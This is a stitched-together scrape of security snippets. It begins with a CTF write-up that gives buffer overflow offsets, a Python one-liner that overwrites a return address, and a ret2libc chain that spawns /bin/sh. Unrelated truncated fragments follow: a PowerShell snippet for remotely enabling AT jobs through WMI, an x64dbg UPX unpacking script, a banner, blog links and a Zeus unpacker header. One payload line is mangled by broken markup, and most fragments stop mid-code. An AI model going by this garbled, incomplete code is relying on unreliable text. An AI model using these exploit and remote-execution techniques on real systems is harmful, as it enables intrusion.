spnow

to overwrite the 'vulnerable_function' return address, we need 0x80 + 12 junk of buffer plus address of 'not_called'. So, the payload skeleton is: ["\x41"*(0x80 + 12)] + [address of 'not_called' subroutine]

(python -c 'import sys,struct;sys.stdout.write("\x41"*(0x80 + 12) + struct.pack("<I", 0x080484a4))'; cat -) | ./rop1-fa6168f4d8eba0eb

as same as rop-1. but, there is no function which call system('/bin/sh') like 'not_called' subroutine in rop-1. fortunately, there is a global variable called 'not_used' which value is '/bin/sh'. so, in this case we can use 'ret2libc' method to pwn that contrived binary. payload construction below:

["\x41"*(0x80 + 12) (in order to reach vulnerable_function return address)] + [libc_system addr] + [libc_exit addr (this is a fake libc_system return address)] + [address of 'not_used' global variable]

and then.. pwned!!

(python -c 'import sys,struct;sys.stdout.write("\x41"*(0x80 + 12) + struct.pack("<i struct.pack="" cat="" .=""></i>

very trivial though.. :v

(1) junk buffer is 0x80 + 12
(2) find address of libc_system in gdb
(3) find address of libc_exit in gdb
(4) find '/bin/sh' string in gdb (find &system,+9999999,"/bin/sh")
(5) pwned!

#! /usr/bin/python

import sys
import struct

if sys.byteorder == 'little':
	Q = lambda x: struct.pack("<I", x)
elif sys.byteorder == 'big':
	Q = lambda x: struct.pack("&gt;I", x)

	# This code could be used to remotely enable and launch AT jobs regardless of the fact that AT is deprecated in Win8+.

	$HKLM = [UInt32] 2147483650

	# Check to see if EnableAt is set
	$Result = Invoke-CimMethod -Namespace root/default -ClassName StdRegProv -MethodName GetDWORDValue -Arguments @{
	hDefKey = $HKLM
	sSubKeyName = 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Configuration'
	sValueName = 'EnableAt'
	}

	from x64dbgpy.pluginsdk import *
	import sys

	cip = register.GetCIP()
	if memory.ReadByte(cip) != 0x60:
	gui.Message("Start at UPX entry point (1:[CIP]==0x60)")
	exit(0)

	x64dbg.DbgCmdExecDirect("bc")
	x64dbg.DbgCmdExecDirect("bphwc")

	#!/bin/sh
	#
	# `7MN. `7MF'
	# __, MMN. M
	#`7MM M YMb M pd""b.
	# MM M `MN. M (O) `8b
	# MM M `MM.M ,89
	# MM M YMM ""Yb.
	#.JMML..JML. YM 88
	# (O) .M'

	By Tanguy Andreani
	Twitter: @andreani_tanguy
	Website: https://globalnewsys.wordpress.com/
	Date: 1 July 2014

	More than 1200 websites !

	Blogs on Computer Security:

	https://antelox.blogspot.com/

	// Generic Zeus malware unpacker (ResumeThread)
	// by Miroslav Stampar (@stamparm)
	// http://about.me/stamparm

	VAR ResumeThread
	VAR msg
	VAR xname
	VAR xloc
	VAR xsize